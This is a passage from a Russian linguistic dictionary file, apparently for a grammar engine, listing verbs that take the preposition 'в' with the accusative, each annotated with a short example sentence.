rus_verbs:ПАЛЬНУТЬ{}, // Вольф вставил в тетиву новую стрелу и пальнул в белое брюхо (ПАЛЬНУТЬ)
rus_verbs:ОТСТУПИТЬ{}, // Вольф отступил в щель. (ОТСТУПИТЬ/ОТСТУПАТЬ)
rus_verbs:ОТСТУПАТЬ{},
rus_verbs:КРИКНУТЬ{}, // Вольф крикнул в ответ и медленно отступил от птицы. (КРИКНУТЬ)
rus_verbs:ДЫХНУТЬ{}, // В лицо ему дыхнули винным перегаром. (ДЫХНУТЬ)
rus_verbs:ПОТРУБИТЬ{}, // Я видел рог во время своих скитаний по дворцу и даже потрубил в него (ПОТРУБИТЬ)
rus_verbs:ОТКРЫВАТЬСЯ{}, // Некоторые врата открывались в другие вселенные (ОТКРЫВАТЬСЯ)
rus_verbs:ТРУБИТЬ{}, // А я трубил в рог (ТРУБИТЬ)
rus_verbs:ПЫРНУТЬ{}, // Вольф пырнул его в бок. (ПЫРНУТЬ)
rus_verbs:ПРОСКРЕЖЕТАТЬ{}, // Тот что-то проскрежетал в ответ, а затем наорал на него. (ПРОСКРЕЖЕТАТЬ В вин, НАОРАТЬ НА вин)
rus_verbs:ИМПОРТИРОВАТЬ{}, // импортировать товары двойного применения только в Российскую Федерацию (ИМПОРТИРОВАТЬ)
rus_verbs:ОТЪЕХАТЬ{}, // Легкий грохот катков заглушил рог, когда дверь отъехала в сторону. (ОТЪЕХАТЬ)
rus_verbs:ПОПЛЕСТИСЬ{}, // Подобрав нижнее белье, носки и ботинки, он поплелся по песку обратно в джунгли. (ПОПЛЕЛСЯ)
rus_verbs:СЖАТЬСЯ{}, // Желудок у него сжался в кулак. (СЖАТЬСЯ, СЖИМАТЬСЯ)
rus_verbs:СЖИМАТЬСЯ{},
rus_verbs:проверять{}, // Школьников будут принудительно проверять на курение
rus_verbs:ПОТЯНУТЬ{}, // Я потянул его в кино (ПОТЯНУТЬ)
rus_verbs:ПЕРЕВЕСТИ{}, // Премьер-министр Казахстана поручил до конца года перевести все социально-значимые услуги в электронный вид (ПЕРЕВЕСТИ)
rus_verbs:КРАСИТЬ{}, // Почему китайские партийные боссы красят волосы в черный цвет? (КРАСИТЬ/ПОКРАСИТЬ/ПЕРЕКРАСИТЬ/ОКРАСИТЬ/ЗАКРАСИТЬ)
rus_verbs:ПОКРАСИТЬ{}, //
rus_verbs:ПЕРЕКРАСИТЬ{}, //
rus_verbs:ОКРАСИТЬ{}, //
rus_verbs:ЗАКРАСИТЬ{}, //
rus_verbs:СООБЩИТЬ{}, // Мужчина ранил человека в щеку и сам сообщил об этом в полицию (СООБЩИТЬ)
rus_verbs:СТЯГИВАТЬ{}, // Но толщина пузыря постоянно меняется из-за гравитации, которая стягивает жидкость в нижнюю часть (СТЯГИВАТЬ/СТЯНУТЬ/ЗАТЯНУТЬ/ВТЯНУТЬ)
rus_verbs:СТЯНУТЬ{}, //
rus_verbs:ЗАТЯНУТЬ{}, //
rus_verbs:ВТЯНУТЬ{}, //
rus_verbs:СОХРАНИТЬ{}, // сохранить данные в файл (СОХРАНИТЬ)
деепричастие:придя{}, // Немного придя в себя
rus_verbs:наблюдать{}, // Судья , долго наблюдавший в трубу , вдруг вскричал
rus_verbs:УЛЫБАТЬСЯ{}, // она улыбалась во весь рот (УЛЫБАТЬСЯ)
rus_verbs:МЕТНУТЬСЯ{}, // она метнулась обратно во тьму (МЕТНУТЬСЯ)
rus_verbs:ПОСЛЕДОВАТЬ{}, // большинство жителей города последовало за ним во дворец (ПОСЛЕДОВАТЬ)
rus_verbs:ПЕРЕМЕЩАТЬСЯ{}, // экстремисты перемещаются из лесов в Сеть (ПЕРЕМЕЩАТЬСЯ)
rus_verbs:ВЫТАЩИТЬ{}, // Алексей позволил вытащить себя через дверь во тьму (ВЫТАЩИТЬ)
rus_verbs:СЫПАТЬСЯ{}, // внизу под ними камни градом сыпались во двор (СЫПАТЬСЯ)
rus_verbs:выезжать{}, // заключенные сами шьют куклы и иногда выезжают с представлениями в детский дом неподалеку
rus_verbs:КРИЧАТЬ{}, // ей хотелось кричать во весь голос (КРИЧАТЬ В вин)
rus_verbs:ВЫПРЯМИТЬСЯ{}, // волк выпрямился во весь огромный рост (ВЫПРЯМИТЬСЯ В вин)
rus_verbs:спрятать{}, // Джон спрятал очки во внутренний карман (спрятать в вин)
rus_verbs:ЭКСТРАДИРОВАТЬ{}, // Украина экстрадирует в Таджикистан задержанного бывшего премьер-министра (ЭКСТРАДИРОВАТЬ В вин)
rus_verbs:ВВОЗИТЬ{}, // лабораторный мониторинг ввозимой в Россию мясной продукции из США (ВВОЗИТЬ В вин)
rus_verbs:УПАКОВАТЬ{}, // упакованных в несколько слоев полиэтилена (УПАКОВАТЬ В вин)
rus_verbs:ОТТЯГИВАТЬ{}, // использовать естественную силу гравитации, оттягивая объекты в сторону и изменяя их орбиту (ОТТЯГИВАТЬ В вин)
rus_verbs:ПОЗВОНИТЬ{}, // они позвонили в отдел экологии городской администрации (ПОЗВОНИТЬ В)
rus_verbs:ПРИВЛЕЧЬ{}, // Открытость данных о лесе поможет привлечь инвестиции в отрасль (ПРИВЛЕЧЬ В)
rus_verbs:ЗАПРОСИТЬСЯ{}, // набегавшись и наплясавшись, Стасик утомился и запросился в кроватку (ЗАПРОСИТЬСЯ В)
rus_verbs:ОТСТАВИТЬ{}, // бутыль с ацетоном Витька отставил в сторонку (ОТСТАВИТЬ В)
rus_verbs:ИСПОЛЬЗОВАТЬ{}, // ты использовал свою магию во зло. (ИСПОЛЬЗОВАТЬ В вин)
rus_verbs:ВЫСЕВАТЬ{}, // В апреле редис возможно уже высевать в грунт (ВЫСЕВАТЬ В)
rus_verbs:ЗАГНАТЬ{}, // Американский психолог загнал любовь в три угла (ЗАГНАТЬ В)
rus_verbs:ЭВОЛЮЦИОНИРОВАТЬ{}, // Почему не все обезьяны эволюционировали в человека? (ЭВОЛЮЦИОНИРОВАТЬ В вин)
rus_verbs:СФОТОГРАФИРОВАТЬСЯ{}, // Он сфотографировался во весь рост. (СФОТОГРАФИРОВАТЬСЯ В)
rus_verbs:СТАВИТЬ{}, // Он ставит мне в упрёк свою ошибку. (СТАВИТЬ В)
rus_verbs:расщепляться{}, // Сахароза же быстро расщепляется в пищеварительном тракте на глюкозу и фруктозу (РАСЩЕПЛЯТЬСЯ В, НА)
rus_verbs:ПЕРЕСЕЛЯТЬСЯ{}, // Греки переселяются в Германию (ПЕРЕСЕЛЯТЬСЯ В)
rus_verbs:ФОРМИРОВАТЬСЯ{}, // Сахарная свекла относится к двулетним растениям, мясистый корнеплод формируется в первый год. (ФОРМИРОВАТЬСЯ В)
rus_verbs:ПРОВОРЧАТЬ{}, // дедуля что-то проворчал в ответ (ПРОВОРЧАТЬ В)
rus_verbs:БУРКНУТЬ{}, // нелюдимый парень что-то буркнул в ответ (БУРКНУТЬ В)
rus_verbs:ВЕСТИ{}, // дверь вела во тьму. (ВЕСТИ В)
rus_verbs:ВЫСКОЧИТЬ{}, // беглецы выскочили во двор. (ВЫСКОЧИТЬ В)
rus_verbs:ДОСЫЛАТЬ{}, // Одним движением стрелок досылает патрон в ствол (ДОСЫЛАТЬ В)
rus_verbs:СЪЕХАТЬСЯ{}, // Финалисты съехались на свои игры в Лос-Анжелес. (СЪЕХАТЬСЯ НА, В)
rus_verbs:ВЫТЯНУТЬ{}, // Дым вытянуло в трубу. (ВЫТЯНУТЬ В)
rus_verbs:торчать{}, // острые обломки бревен торчали во все стороны.
rus_verbs:ОГЛЯДЫВАТЬ{}, // Она оглядывает себя в зеркало. (ОГЛЯДЫВАТЬ В)
rus_verbs:ДЕЙСТВОВАТЬ{}, // Этот пакет законов действует в ущерб частным предпринимателям.
rus_verbs:РАЗЛЕТЕТЬСЯ{}, // люди разлетелись во все стороны. (РАЗЛЕТЕТЬСЯ В)
rus_verbs:брызнуть{}, // во все стороны брызнула кровь. (брызнуть в)
rus_verbs:ТЯНУТЬСЯ{}, // провода тянулись во все углы. (ТЯНУТЬСЯ В)
rus_verbs:валить{}, // валить все в одну кучу (валить в)
rus_verbs:выдвинуть{}, // его выдвинули в палату представителей (выдвинуть в)
rus_verbs:карабкаться{}, // карабкаться в гору (карабкаться в)
rus_verbs:клониться{}, // он клонился в сторону (клониться в)
rus_verbs:командировать{}, // мы командировали нашего представителя в Рим (командировать в)
rus_verbs:запасть{}, // Эти слова запали мне в душу.
rus_verbs:давать{}, // В этой лавке дают в долг?
rus_verbs:ездить{}, // Каждый день грузовик ездит в город.
rus_verbs:претвориться{}, // Замысел претворился в жизнь.
rus_verbs:разойтись{}, // Они разошлись в разные стороны.
rus_verbs:выйти{}, // Охотник вышел в поле с ружьём.
rus_verbs:отозвать{}, // Отзовите его в сторону и скажите ему об этом.
rus_verbs:расходиться{}, // Маша и Петя расходятся в разные стороны
rus_verbs:переодеваться{}, // переодеваться в женское платье
rus_verbs:перерастать{}, // перерастать в массовые беспорядки
rus_verbs:завязываться{}, // завязываться в узел
rus_verbs:похватать{}, // похватать в руки
rus_verbs:увлечь{}, // увлечь в прогулку по парку
rus_verbs:помещать{}, // помещать в изолятор
rus_verbs:зыркнуть{}, // зыркнуть в окошко
rus_verbs:закатать{}, // закатать в асфальт
rus_verbs:усаживаться{}, // усаживаться в кресло
rus_verbs:загонять{}, // загонять в сарай
rus_verbs:подбрасывать{}, // подбрасывать в воздух
rus_verbs:телеграфировать{}, // телеграфировать в центр
rus_verbs:вязать{}, // вязать в стопы
rus_verbs:подлить{}, // подлить в огонь
rus_verbs:заполучить{}, // заполучить в распоряжение
rus_verbs:подогнать{}, // подогнать в док
rus_verbs:ломиться{}, // ломиться в открытую дверь
rus_verbs:переправить{}, // переправить в деревню
rus_verbs:затягиваться{}, // затягиваться в трубу
rus_verbs:разлетаться{}, // разлетаться в стороны
rus_verbs:кланяться{}, // кланяться в ножки
rus_verbs:устремляться{}, // устремляться в открытое море
rus_verbs:переместиться{}, // переместиться в другую аудиторию
rus_verbs:ложить{}, // ложить в ящик
rus_verbs:отвозить{}, // отвозить в аэропорт
rus_verbs:напрашиваться{}, // напрашиваться в гости
rus_verbs:напроситься{}, // напроситься в гости
rus_verbs:нагрянуть{}, // нагрянуть в гости
rus_verbs:заворачивать{}, // заворачивать в фольгу
rus_verbs:заковать{}, // заковать в кандалы
rus_verbs:свезти{}, // свезти в сарай
rus_verbs:притащиться{}, // притащиться в дом
rus_verbs:завербовать{}, // завербовать в разведку
rus_verbs:рубиться{}, // рубиться в компьютерные игры
rus_verbs:тыкаться{}, // тыкаться в материнскую грудь
инфинитив:ссыпать{ вид:несоверш }, инфинитив:ссыпать{ вид:соверш }, // ссыпать в контейнер
глагол:ссыпать{ вид:несоверш }, глагол:ссыпать{ вид:соверш },
деепричастие:ссыпав{}, деепричастие:ссыпая{},
rus_verbs:засасывать{}, // засасывать в себя
rus_verbs:скакнуть{}, // скакнуть в будущее
rus_verbs:подвозить{}, // подвозить в театр
rus_verbs:переиграть{}, // переиграть в покер
rus_verbs:мобилизовать{}, // мобилизовать в действующую армию
rus_verbs:залетать{}, // залетать в закрытое воздушное пространство
rus_verbs:подышать{}, // подышать в трубочку
rus_verbs:смотаться{}, // смотаться в институт
rus_verbs:рассовать{}, // рассовать в кармашки
rus_verbs:захаживать{}, // захаживать в дом
инфинитив:сгонять{ вид:соверш }, глагол:сгонять{ вид:соверш }, // сгонять в ломбард
деепричастие:сгоняя{},
rus_verbs:посылаться{}, // посылаться в порт
rus_verbs:отлить{}, // отлить в кастрюлю
rus_verbs:преобразоваться{}, // преобразоваться в линейное уравнение
rus_verbs:поплакать{}, // поплакать в платочек
rus_verbs:обуться{}, // обуться в сапоги
rus_verbs:закапать{}, // закапать в глаза
инфинитив:свозить{ вид:несоверш }, инфинитив:свозить{ вид:соверш }, // свозить в центр утилизации
глагол:свозить{ вид:несоверш }, глагол:свозить{ вид:соверш },
деепричастие:свозив{}, деепричастие:свозя{},
rus_verbs:преобразовать{}, // преобразовать в линейное уравнение
rus_verbs:кутаться{}, // кутаться в плед
rus_verbs:смещаться{}, // смещаться в сторону
rus_verbs:зазывать{}, // зазывать в свой магазин
инфинитив:трансформироваться{ вид:несоверш }, инфинитив:трансформироваться{ вид:соверш }, // трансформироваться в комбинезон
глагол:трансформироваться{ вид:несоверш }, глагол:трансформироваться{ вид:соверш },
деепричастие:трансформируясь{}, деепричастие:трансформировавшись{},
rus_verbs:погружать{}, // погружать в кипящее масло
rus_verbs:обыграть{}, // обыграть в теннис
rus_verbs:закутать{}, // закутать в одеяло
rus_verbs:изливаться{}, // изливаться в воду
rus_verbs:закатывать{}, // закатывать в асфальт
rus_verbs:мотнуться{}, // мотнуться в банк
rus_verbs:избираться{}, // избираться в сенат
rus_verbs:наниматься{}, // наниматься в услужение
rus_verbs:настучать{}, // настучать в органы
rus_verbs:запихивать{}, // запихивать в печку
rus_verbs:закапывать{}, // закапывать в нос
rus_verbs:засобираться{}, // засобираться в поход
rus_verbs:копировать{}, // копировать в другую папку
rus_verbs:замуровать{}, // замуровать в стену
rus_verbs:упечь{}, // упечь в тюрьму
rus_verbs:зрить{}, // зрить в корень
rus_verbs:стягиваться{}, // стягиваться в одну точку
rus_verbs:усаживать{}, // усаживать в тренажер
rus_verbs:протолкнуть{}, // протолкнуть в отверстие
rus_verbs:расшибиться{}, // расшибиться в лепешку
rus_verbs:приглашаться{}, // приглашаться в кабинет
rus_verbs:садить{}, // садить в телегу
rus_verbs:уткнуть{}, // уткнуть в подушку
rus_verbs:протечь{}, // протечь в подвал
rus_verbs:перегнать{}, // перегнать в другую страну
rus_verbs:переползти{}, // переползти в тень
rus_verbs:зарываться{}, // зарываться в грунт
rus_verbs:переодеть{}, // переодеть в сухую одежду
rus_verbs:припуститься{}, // припуститься в пляс
rus_verbs:лопотать{}, // лопотать в микрофон
rus_verbs:прогнусавить{}, // прогнусавить в микрофон
rus_verbs:мочиться{}, // мочиться в штаны
rus_verbs:загружать{}, // загружать в патронник
rus_verbs:радировать{}, // радировать в центр
rus_verbs:промотать{}, // промотать в конец
rus_verbs:помчать{}, // помчать в школу
rus_verbs:съезжать{}, // съезжать в кювет
rus_verbs:завозить{}, // завозить в магазин
rus_verbs:заявляться{}, // заявляться в школу
rus_verbs:наглядеться{}, // наглядеться в зеркало
rus_verbs:сворачиваться{}, // сворачиваться в клубочек
rus_verbs:устремлять{}, // устремлять взор в будущее
rus_verbs:забредать{}, // забредать в глухие уголки
rus_verbs:перемотать{}, // перемотать в самое начало диалога
rus_verbs:сморкаться{}, // сморкаться в носовой платочек
rus_verbs:перетекать{}, // перетекать в другой сосуд
rus_verbs:закачать{}, // закачать в шарик
rus_verbs:запрятать{}, // запрятать в сейф
rus_verbs:пинать{}, // пинать в живот
rus_verbs:затрубить{}, // затрубить в горн
rus_verbs:подглядывать{}, // подглядывать в замочную скважину
инфинитив:подсыпать{ вид:соверш }, инфинитив:подсыпать{ вид:несоверш }, // подсыпать в питье
глагол:подсыпать{ вид:соверш }, глагол:подсыпать{ вид:несоверш },
деепричастие:подсыпав{}, деепричастие:подсыпая{},
rus_verbs:засовывать{}, // засовывать в пенал
rus_verbs:отрядить{}, // отрядить в командировку
rus_verbs:справлять{}, // справлять в кусты
rus_verbs:поторапливаться{}, // поторапливаться в самолет
rus_verbs:скопировать{}, // скопировать в кэш
rus_verbs:подливать{}, // подливать в огонь
rus_verbs:запрячь{}, // запрячь в повозку
rus_verbs:окраситься{}, // окраситься в пурпур
rus_verbs:уколоть{}, // уколоть в шею
rus_verbs:слететься{}, // слететься в гнездо
rus_verbs:резаться{}, // резаться в карты
rus_verbs:затесаться{}, // затесаться в ряды оппозиционеров
инфинитив:задвигать{ вид:несоверш }, глагол:задвигать{ вид:несоверш }, // задвигать в ячейку (несоверш)
деепричастие:задвигая{},
rus_verbs:доставляться{}, // доставляться в ресторан
rus_verbs:поплевать{}, // поплевать в чашку
rus_verbs:попереться{}, // попереться в магазин
rus_verbs:хаживать{}, // хаживать в церковь
rus_verbs:преображаться{}, // преображаться в королеву
rus_verbs:организоваться{}, // организоваться в группу
rus_verbs:ужалить{}, // ужалить в руку
rus_verbs:протискиваться{}, // протискиваться в аудиторию
rus_verbs:препроводить{}, // препроводить в закуток
rus_verbs:разъезжаться{}, // разъезжаться в разные стороны
rus_verbs:пропыхтеть{}, // пропыхтеть в трубку
rus_verbs:уволочь{}, // уволочь в нору
rus_verbs:отодвигаться{}, // отодвигаться в сторону
rus_verbs:разливать{}, // разливать в стаканы
rus_verbs:сбегаться{}, // сбегаться в актовый зал
rus_verbs:наведаться{}, // наведаться в кладовку
rus_verbs:перекочевать{}, // перекочевать в горы
rus_verbs:прощебетать{}, // прощебетать в трубку
rus_verbs:перекладывать{}, // перекладывать в другой карман
rus_verbs:углубляться{}, // углубляться в теорию
rus_verbs:переименовать{}, // переименовать в город
rus_verbs:переметнуться{}, // переметнуться в лагерь противника
rus_verbs:разносить{}, // разносить в щепки
rus_verbs:осыпаться{}, // осыпаться в холода
rus_verbs:попроситься{}, // попроситься в туалет
rus_verbs:уязвить{}, // уязвить в сердце
rus_verbs:перетащить{}, // перетащить в дом
rus_verbs:закутаться{}, // закутаться в плед
// rus_verbs:упаковать{}, // упаковать в бумагу
инфинитив:тикать{ aux stress="тик^ать" }, глагол:тикать{ aux stress="тик^ать" }, // тикать в крепость
rus_verbs:хихикать{}, // хихикать в кулачок
rus_verbs:объединить{}, // объединить в сеть
инфинитив:слетать{ вид:соверш }, глагол:слетать{ вид:соверш }, // слетать в Калифорнию
деепричастие:слетав{},
rus_verbs:заползти{}, // заползти в норку
rus_verbs:перерасти{}, // перерасти в крупную аферу
rus_verbs:списать{}, // списать в утиль
rus_verbs:просачиваться{}, // просачиваться в бункер
rus_verbs:пускаться{}, // пускаться в погоню
rus_verbs:согревать{}, // согревать в мороз
rus_verbs:наливаться{}, // наливаться в емкость
rus_verbs:унестись{}, // унестись в небо
rus_verbs:зашвырнуть{}, // зашвырнуть в шкаф
rus_verbs:сигануть{}, // сигануть в воду
rus_verbs:окунуть{}, // окунуть в ледяную воду
rus_verbs:просочиться{}, // просочиться в сапог
rus_verbs:соваться{}, // соваться в толпу
rus_verbs:протолкаться{}, // протолкаться в гардероб
rus_verbs:заложить{}, // заложить в ломбард
rus_verbs:перекатить{}, // перекатить в сарай
rus_verbs:поставлять{}, // поставлять в Китай
rus_verbs:залезать{}, // залезать в долги
rus_verbs:отлучаться{}, // отлучаться в туалет
rus_verbs:сбиваться{}, // сбиваться в кучу
rus_verbs:зарыть{}, // зарыть в землю
rus_verbs:засадить{}, // засадить в тело
rus_verbs:прошмыгнуть{}, // прошмыгнуть в дверь
rus_verbs:переставить{}, // переставить в шкаф
rus_verbs:отчалить{}, // отчалить в плавание
rus_verbs:набираться{}, // набираться в команду
rus_verbs:лягнуть{}, // лягнуть в живот
rus_verbs:притворить{}, // притворить в жизнь
rus_verbs:проковылять{}, // проковылять в гардероб
rus_verbs:прикатить{}, // прикатить в гараж
rus_verbs:залететь{}, // залететь в окно
rus_verbs:переделать{}, // переделать в мопед
rus_verbs:протащить{}, // протащить в совет
rus_verbs:обмакнуть{}, // обмакнуть в воду
rus_verbs:отклоняться{}, // отклоняться в сторону
rus_verbs:запихать{}, // запихать в пакет
rus_verbs:избирать{}, // избирать в совет
rus_verbs:загрузить{}, // загрузить в буфер
rus_verbs:уплывать{}, // уплывать в Париж
rus_verbs:забивать{}, // забивать в мерзлоту
rus_verbs:потыкать{}, // потыкать в безжизненную тушу
rus_verbs:съезжаться{}, // съезжаться в санаторий
rus_verbs:залепить{}, // залепить в рыло
rus_verbs:набиться{}, // набиться в карманы
rus_verbs:уползти{}, // уползти в нору
rus_verbs:упрятать{}, // упрятать в камеру
rus_verbs:переместить{}, // переместить в камеру анабиоза
rus_verbs:закрасться{}, // закрасться в душу
rus_verbs:сместиться{}, // сместиться в инфракрасную область
rus_verbs:запускать{}, // запускать в серию
rus_verbs:потрусить{}, // потрусить в чащобу
rus_verbs:забрасывать{}, // забрасывать в чистую воду
rus_verbs:переселить{}, // переселить в отдаленную деревню
rus_verbs:переезжать{}, // переезжать в новую квартиру
rus_verbs:приподнимать{}, // приподнимать в воздух
rus_verbs:добавиться{}, // добавиться в конец очереди
rus_verbs:убыть{}, // убыть в часть
rus_verbs:передвигать{}, // передвигать в соседнюю клетку
rus_verbs:добавляться{}, // добавляться в очередь
rus_verbs:дописать{}, // дописать в перечень
rus_verbs:записываться{}, // записываться в кружок
rus_verbs:продаться{}, // продаться в кредитное рабство
rus_verbs:переписывать{}, // переписывать в тетрадку
rus_verbs:заплыть{}, // заплыть в территориальные воды
инфинитив:пописать{ aux stress="поп^исать" }, инфинитив:пописать{ aux stress="попис^ать" }, // пописать в горшок
глагол:пописать{ aux stress="поп^исать" }, глагол:пописать{ aux stress="попис^ать" },
rus_verbs:отбирать{}, // отбирать в гвардию
rus_verbs:нашептывать{}, // нашептывать в микрофон
rus_verbs:ковылять{}, // ковылять в стойло
rus_verbs:прилетать{}, // прилетать в Париж
rus_verbs:пролиться{}, // пролиться в канализацию
rus_verbs:запищать{}, // запищать в микрофон
rus_verbs:подвезти{}, // подвезти в больницу
rus_verbs:припереться{}, // припереться в театр
rus_verbs:утечь{}, // утечь в сеть
rus_verbs:прорываться{}, // прорываться в буфет
rus_verbs:увозить{}, // увозить в ремонт
rus_verbs:съедать{}, // съедать в обед
rus_verbs:просунуться{}, // просунуться в дверь
rus_verbs:перенестись{}, // перенестись в прошлое
rus_verbs:завезти{}, // завезти в магазин
rus_verbs:проложить{}, // проложить в деревню
rus_verbs:объединяться{}, // объединяться в профсоюз
rus_verbs:развиться{}, // развиться в бабочку
rus_verbs:засеменить{}, // засеменить в кабинку
rus_verbs:скатываться{}, // скатываться в яму
rus_verbs:завозиться{}, // завозиться в магазин
rus_verbs:нанимать{}, // нанимать в рейс
rus_verbs:поспеть{}, // поспеть в класс
rus_verbs:кидаться{}, // кинаться в крайности
rus_verbs:поспевать{}, // поспевать в оперу
rus_verbs:обернуть{}, // обернуть в фольгу
rus_verbs:обратиться{}, // обратиться в прокуратуру
rus_verbs:истолковать{}, // истолковать в свою пользу
rus_verbs:таращиться{}, // таращиться в дисплей
rus_verbs:прыснуть{}, // прыснуть в кулачок
rus_verbs:загнуть{}, // загнуть в другую сторону
rus_verbs:раздать{}, // раздать в разные руки
rus_verbs:назначить{}, // назначить в приемную комиссию
rus_verbs:кидать{}, // кидать в кусты
rus_verbs:увлекать{}, // увлекать в лес
rus_verbs:переселиться{}, // переселиться в чужое тело
rus_verbs:присылать{}, // присылать в город
rus_verbs:уплыть{}, // уплыть в Европу
rus_verbs:запричитать{}, // запричитать в полный голос
rus_verbs:утащить{}, // утащить в логово
rus_verbs:завернуться{}, // завернуться в плед
rus_verbs:заносить{}, // заносить в блокнот
rus_verbs:пятиться{}, // пятиться в дом
rus_verbs:наведываться{}, // наведываться в больницу
rus_verbs:нырять{}, // нырять в прорубь
rus_verbs:зачастить{}, // зачастить в бар
rus_verbs:назначаться{}, // назначается в комиссию
rus_verbs:мотаться{}, // мотаться в областной центр
rus_verbs:разыграть{}, // разыграть в карты
rus_verbs:пропищать{}, // пропищать в микрофон
rus_verbs:пихнуть{}, // пихнуть в бок
rus_verbs:эмигрировать{}, // эмигрировать в Канаду
rus_verbs:подключить{}, // подключить в сеть
rus_verbs:упереть{}, // упереть в фундамент
rus_verbs:уплатить{}, // уплатить в кассу
rus_verbs:потащиться{}, // потащиться в медпункт
rus_verbs:пригнать{}, // пригнать в стойло
rus_verbs:оттеснить{}, // оттеснить в фойе
rus_verbs:стучаться{}, // стучаться в ворота
rus_verbs:перечислить{}, // перечислить в фонд
rus_verbs:сомкнуть{}, // сомкнуть в круг
rus_verbs:закачаться{}, // закачаться в резервуар
rus_verbs:кольнуть{}, // кольнуть в бок
rus_verbs:накрениться{}, // накрениться в сторону берега
rus_verbs:подвинуться{}, // подвинуться в другую сторону
rus_verbs:разнести{}, // разнести в клочья
rus_verbs:отливать{}, // отливать в форму
rus_verbs:подкинуть{}, // подкинуть в карман
rus_verbs:уводить{}, // уводить в кабинет
rus_verbs:ускакать{}, // ускакать в школу
rus_verbs:ударять{}, // ударять в барабаны
rus_verbs:даться{}, // даться в руки
rus_verbs:поцеловаться{}, // поцеловаться в губы
rus_verbs:посветить{}, // посветить в подвал
rus_verbs:тыкать{}, // тыкать в арбуз
rus_verbs:соединяться{}, // соединяться в кольцо
rus_verbs:растянуть{}, // растянуть в тонкую ниточку
rus_verbs:побросать{}, // побросать в пыль
rus_verbs:стукнуться{}, // стукнуться в закрытую дверь
rus_verbs:проигрывать{}, // проигрывать в теннис
rus_verbs:дунуть{}, // дунуть в трубочку
rus_verbs:улетать{}, // улетать в Париж
rus_verbs:переводиться{}, // переводиться в филиал
rus_verbs:окунуться{}, // окунуться в водоворот событий
rus_verbs:попрятаться{}, // попрятаться в норы
rus_verbs:перевезти{}, // перевезти в соседнюю палату
rus_verbs:топать{}, // топать в школу
rus_verbs:относить{}, // относить в помещение
rus_verbs:укладывать{}, // укладывать в стопку
rus_verbs:укатить{}, // укатил в турне
rus_verbs:убирать{}, // убирать в сумку
rus_verbs:помалкивать{}, // помалкивать в тряпочку
rus_verbs:ронять{}, // ронять в грязь
rus_verbs:глазеть{}, // глазеть в бинокль
rus_verbs:преобразиться{}, // преобразиться в другого человека
rus_verbs:запрыгнуть{}, // запрыгнуть в поезд
rus_verbs:сгодиться{}, // сгодиться в суп
rus_verbs:проползти{}, // проползти в нору
rus_verbs:забираться{}, // забираться в коляску
rus_verbs:сбежаться{}, // сбежались в класс
rus_verbs:закатиться{}, // закатиться в угол
rus_verbs:плевать{}, // плевать в душу
rus_verbs:поиграть{}, // поиграть в демократию
rus_verbs:кануть{}, // кануть в небытие
rus_verbs:опаздывать{}, // опаздывать в школу
rus_verbs:отползти{}, // отползти в сторону
rus_verbs:стекаться{}, // стекаться в отстойник
rus_verbs:запихнуть{}, // запихнуть в пакет
rus_verbs:вышвырнуть{}, // вышвырнуть в коридор
rus_verbs:связываться{}, // связываться в плотный узел
rus_verbs:затолкать{}, // затолкать в ухо
rus_verbs:скрутить{}, // скрутить в трубочку
rus_verbs:сворачивать{}, // сворачивать в трубочку
rus_verbs:сплестись{}, // сплестись в узел
rus_verbs:заскочить{}, // заскочить в кабинет
rus_verbs:проваливаться{}, // проваливаться в сон
rus_verbs:уверовать{}, // уверовать в свою безнаказанность
rus_verbs:переписать{}, // переписать в тетрадку
rus_verbs:переноситься{}, // переноситься в мир фантазий
rus_verbs:заводить{}, // заводить в помещение
rus_verbs:сунуться{}, // сунуться в аудиторию
rus_verbs:устраиваться{}, // устраиваться в автомастерскую
rus_verbs:пропускать{}, // пропускать в зал
инфинитив:сбегать{ вид:несоверш }, инфинитив:сбегать{ вид:соверш }, // сбегать в кино
глагол:сбегать{ вид:несоверш }, глагол:сбегать{ вид:соверш },
деепричастие:сбегая{}, деепричастие:сбегав{},
rus_verbs:прибегать{}, // прибегать в школу
rus_verbs:съездить{}, // съездить в лес
rus_verbs:захлопать{}, // захлопать в ладошки
rus_verbs:опрокинуться{}, // опрокинуться в грязь
инфинитив:насыпать{ вид:несоверш }, инфинитив:насыпать{ вид:соверш }, // насыпать в стакан
глагол:насыпать{ вид:несоверш }, глагол:насыпать{ вид:соверш },
деепричастие:насыпая{}, деепричастие:насыпав{},
rus_verbs:употреблять{}, // употреблять в пищу
rus_verbs:приводиться{}, // приводиться в действие
rus_verbs:пристроить{}, // пристроить в надежные руки
rus_verbs:юркнуть{}, // юркнуть в нору
rus_verbs:объединиться{}, // объединиться в банду
rus_verbs:сажать{}, // сажать в одиночку
rus_verbs:соединить{}, // соединить в кольцо
rus_verbs:забрести{}, // забрести в кафешку
rus_verbs:свернуться{}, // свернуться в клубочек
rus_verbs:пересесть{}, // пересесть в другой автобус
rus_verbs:постучаться{}, // постучаться в дверцу
rus_verbs:соединять{}, // соединять в кольцо
rus_verbs:приволочь{}, // приволочь в коморку
rus_verbs:смахивать{}, // смахивать в ящик стола
rus_verbs:забежать{}, // забежать в помещение
rus_verbs:целиться{}, // целиться в беглеца
rus_verbs:прокрасться{}, // прокрасться в хранилище
rus_verbs:заковылять{}, // заковылять в травтамологию
rus_verbs:прискакать{}, // прискакать в стойло
rus_verbs:колотить{}, // колотить в дверь
rus_verbs:смотреться{}, // смотреться в зеркало
rus_verbs:подложить{}, // подложить в салон
rus_verbs:пущать{}, // пущать в королевские покои
rus_verbs:согнуть{}, // согнуть в дугу
rus_verbs:забарабанить{}, // забарабанить в дверь
rus_verbs:отклонить{}, // отклонить в сторону посадочной полосы
rus_verbs:убраться{}, // убраться в специальную нишу
rus_verbs:насмотреться{}, // насмотреться в зеркало
rus_verbs:чмокнуть{}, // чмокнуть в щечку
rus_verbs:усмехаться{}, // усмехаться в бороду
rus_verbs:передвинуть{}, // передвинуть в конец очереди
rus_verbs:допускаться{}, // допускаться в опочивальню
rus_verbs:задвинуть{}, // задвинуть в дальний угол
rus_verbs:отправлять{}, // отправлять в центр
rus_verbs:сбрасывать{}, // сбрасывать в жерло
rus_verbs:расстреливать{}, // расстреливать в момент обнаружения
rus_verbs:заволочь{}, // заволочь в закуток
rus_verbs:пролить{}, // пролить в воду
rus_verbs:зарыться{}, // зарыться в сено
rus_verbs:переливаться{}, // переливаться в емкость
rus_verbs:затащить{}, // затащить в клуб
rus_verbs:перебежать{}, // перебежать в лагерь врагов
rus_verbs:одеть{}, // одеть в новое платье
инфинитив:задвигаться{ вид:несоверш }, глагол:задвигаться{ вид:несоверш }, // задвигаться в нишу
деепричастие:задвигаясь{},
rus_verbs:клюнуть{}, // клюнуть в темечко
